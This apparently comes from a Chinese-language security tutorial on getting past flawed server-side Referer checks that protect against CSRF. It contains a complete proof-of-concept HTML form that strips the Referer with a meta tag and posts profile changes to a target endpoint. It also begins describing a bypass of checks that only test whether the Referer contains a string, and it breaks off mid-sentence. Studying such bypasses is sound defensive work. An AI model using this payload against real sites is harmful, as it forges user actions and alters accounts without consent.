CSRF繞過后端Referer校驗分正常情況和不正常的情況,我們這里主要討論開發在寫校驗referer程序時,不正常的情況下怎么進行繞過。
正常情況
正常的情況指服務器端校驗Referer的代碼沒毛病,那么意味着前端是無法繞過的。
我之前考慮過的方案:
- JS修改Referer,失敗;
- 讓用戶點擊第三方網站,但是瀏覽器就使用第三方網站的referer,失敗;
不正常的情況
不正常的情況指服務器端校驗Referer的代碼有漏洞,前端才能做到繞過,下面介紹幾個可能會繞過Referer的案例;
添加無Referer標簽
可以嘗試無Referer標簽,萬一邏輯剛好沒判斷無Referer的情況呢;
<meta name="referrer" content="never">
<html>
<meta name="referrer" content="never">
<body>
<script>history.pushState('', '', '/')</script> <!-- 實現瀏覽器頁面不刷新修改url鏈接 -->
<form action="http://www.baidu.com/setProfile" method="POST">
<input type="hidden" name="nickname" value="new22" />
<input type="hidden" name="email" value="1@1.com" />
<input type="hidden" name="team" value="new22" />
<input type="hidden" name="address" value="new33" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
只判斷是否包含
只判斷是否包含的話,那么在建站的時候,Web站點路徑帶着referer的字段名就可以做到繞過了,